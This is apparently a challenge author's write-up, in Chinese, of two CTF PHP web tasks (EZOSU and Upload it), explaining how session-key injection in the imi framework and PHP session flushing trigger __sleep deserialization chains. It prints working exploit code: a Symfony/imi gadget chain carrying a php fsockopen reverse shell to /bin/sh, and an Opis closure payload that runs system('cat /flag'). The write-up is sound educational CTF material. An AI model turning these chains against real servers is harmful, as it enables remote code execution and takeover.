0x00 EZOSU
unsafe session
本题利用了一个名为imi
的框架。
本题有且只有一个路由由php处理/config
,其实现如下:
这个路由的代码中最惹人注意的地方是,session的键值是可以被用户控制的。
imi框架是用swoole起点的,但swoole本身不支持php的原生session,所以为了兼容原生的session,imi框架自己写了一个session模块,并兼容了原生session。
在原生session文件处理的实现中,开发者使用|
对属性进行分割,但键名没有过滤,可以插入|
。如果用户可控键名,那么就会导致反序列化逃逸。
find gadget
那么接下来就是找反序列化链了。本次比赛的选手找到了各种各样的链,这里先说一下预期链:
由于本人在测试时并没有找到destruct
触发的链。所以基于反序列化函数后的代码尝试触发toString
。但我们可以看到反序列化得到的对象,经过两行代码后就进入了serialize
函数中。这意味着我们可以通过触发__sleep
来触发一条序列化链。
这里是我找到的gadget。
<?php
namespace Symfony\Component\String {
class LazyString {
private $value;
public function __construct($a)
{
$this->value = $a;
}
}
}
namespace Imi\Aop {
class JoinPoint {
protected array $args;
}
class AroundJoinPoint extends JoinPoint {
private $nextProceed;
public function __construct($a, $b)
{
$this->args = $a;
$this->nextProceed = $b;
}
}
}
namespace GrahamCampbell\ResultType {
class Success {
private $value;
public function __construct($a)
{
$this->value = $a;
}
}
}
namespace {
$ip = "127%2E0%2E%2E1";
$re = "php -r '\$sock=fsockopen(urldecode(\"$ip\"),8888);exec(\"/bin/sh -i <&3 >&3 2>&3\");'";
$exp = new \Symfony\Component\String\LazyString(
[
new \Imi\Aop\AroundJoinPoint(
[new \GrahamCampbell\ResultType\Success($re), "flatMap"],
[new \GrahamCampbell\ResultType\Success("system"), "flatMap"]
),
"proceed"
]
);
echo json_encode(["aaa|".serialize($exp)."aa" => "aaaa"]);
}
入口是十分经典的LazyString
,其__sleep
会去调用__toString
方法。一些选手使用此方法以为是什么神秘的地方调用了__toString
,实际上是调用了__sleep
方法。
这里我们可以调用任意类的公共方法,这里我选择了Imi\Aop\AroundJoinPoint::proceed
:
其参数默认为null,$args
可以通过父类属性获取,但必须是array
类型。这个地方的动态调用虽然函数可控,但参数只有一个,且参数类型必须是array
,是无法getshell的。那么就继续找存在动态调用的公共方法。
最终找到了GrahamCampbell\ResultType\Success::flatMap
,其参数必须是callable
类型。
动态调用公共方法的数组是被算作callable
类型的,所以只要利用两次这个方法即可。
other gadget
当然我说过,gadget不止这一条。主要有以下分类:
- 有人使用
phpggc
的monolog/RCE1
就直接打穿了<sub>~焯</sub>~。 - 一样也是用的
monolog
打,但只是用了起点,中间过程还是用到其它类。 - 和预期一样用了
LazyString
,但都没有注意到调用了__sleep
,以为调用的是toString
很想吐槽monolog,你都2.3.5版本了,怎么还不修链,学学人家yii啊,搞的我这道题都是非预期(bushi
还有一些队伍使用monolog
的destruct
加其它的类来触发反序列化链,就不说了。如果抛开monolog
的话,本题找destruct
或wakeup
起点的链其实很难。原因有两点:
- 因为此框架的类属性都是限定类型的,那么找gadget就会变成java那样比较麻烦。目前来看目前没有一个队伍的起点是
imi
框架里的。 -
Symfony
官方好歹知道危险的类应该在__wakeup
用抛出报错来避免被反序列化。这样我们可以用的起点就大大减少了。
other point
因为开发者设置的特殊规则,session键值中的.
符号会被解释为子属性。因此链中的.
符号必须进行特殊处理。比如我这里使用php反弹shell时将会被转义的符号url编码,在执行反弹shell代码的时候再解开。
出题初衷
总的来说,我这道题是希望做这道题的师傅不要局限于反序列化的八股文上,而是关注其原理本身。
我在找预期链的时候找了很久也没有找到反序列化链<sub>~(忽略了monolog
)</sub>~。然后在发现下面的serialize
函数时,我便想到:php
的反序列化漏洞本质,是要用自己可控的类来触发那些魔法方法;而这里的serialize
也可以触发魔法方法,传入的参数也可以控制。通过此推理得到了预期的__sleep
链。
但最后这道题似乎并没有起到应有的作用(还是自己太菜。
既然自己这么菜就不说太多大道理了,自己有实力才能说服别人。
0x01 Upload it
预期解
在出完ezsou
一题后,我注意到imi
框架作者使用序列化来统计字符串长度,导致触发了__sleep
链。我便想php的原生session是否也会触发。于是便去审计php源码。最后发现确实会触发,但原理不太一样。
在session.c#L2744
中,可以发现session组件在一个请求结束后判断session是否active,如果active就去调用php_session_flush
函数。
一般情况下session是不会由开发者主动关闭的,而本题中的代码也没有主动关闭。所以这里必然会进入if语句中。
经过一系列调用,最终程序会走到php_session_encode
中,而这个函数会调用对应的session.serialize_handler。
题目中的handler通过phpinfo得知为php
而php
handler的encode
实现中必然调用了序列化函数,那么说明php
的原生session同样可以触发__sleep
链。
那么这样只需要通过LazyString
的__sleep
点调用匿名函数库即可。
<?php
namespace Symfony\Component\String {
class LazyString {
private $value;
public function __construct($a)
{
$this->value = $a;
}
}
}
namespace {
include_once "vendor/autoload.php";
$func = function() {system("cat /flag");};
$raw = \Opis\Closure\serialize($func);
$data = unserialize($raw);
$exp = new \Symfony\Component\String\LazyString($data);
var_dump(base64_encode(serialize($exp)));
}
总的来说,两者触发__sleep
链的原因并不一样。php原生的session会触发__sleep
链是因为对session的数据进行刷新。而imi
框架的会触发__sleep
链是开发者偷懒使用serialize
来统计字符长度。
十万乃至九万的非预期
这道题最失败的一点,如同某位大师傅说的:
确实这种组件必然有写就有读,而且触发过于简单,导致许多人并没有注意到触发__sleep
链的这个操作就把题做出来了,这脱离了我出这题的初衷...
还有就是我对库本身还不够理解,例如我并不知道匿名函数库中的function字段可以将function() {system("cat /f*");}
修改为一段代码system("cat /f*")
。这样可以直接在反序列化的时候触发。这也是为什么我临时出了一道Upload it 2
,去掉了匿名函数库。
还有就是session中的属性有字符串操作,导致其直接触发了__toString
...
总的来说upload it
两题出的很失败,希望师傅们多多谅解。
0x02 后记
最后希望师傅们可以通过本文学到一点东西。
另外一道php ast相关的题,由于各个选手的代码量极大,我还需要继续学习汇总一下。后期会开源在github上,请各位期待~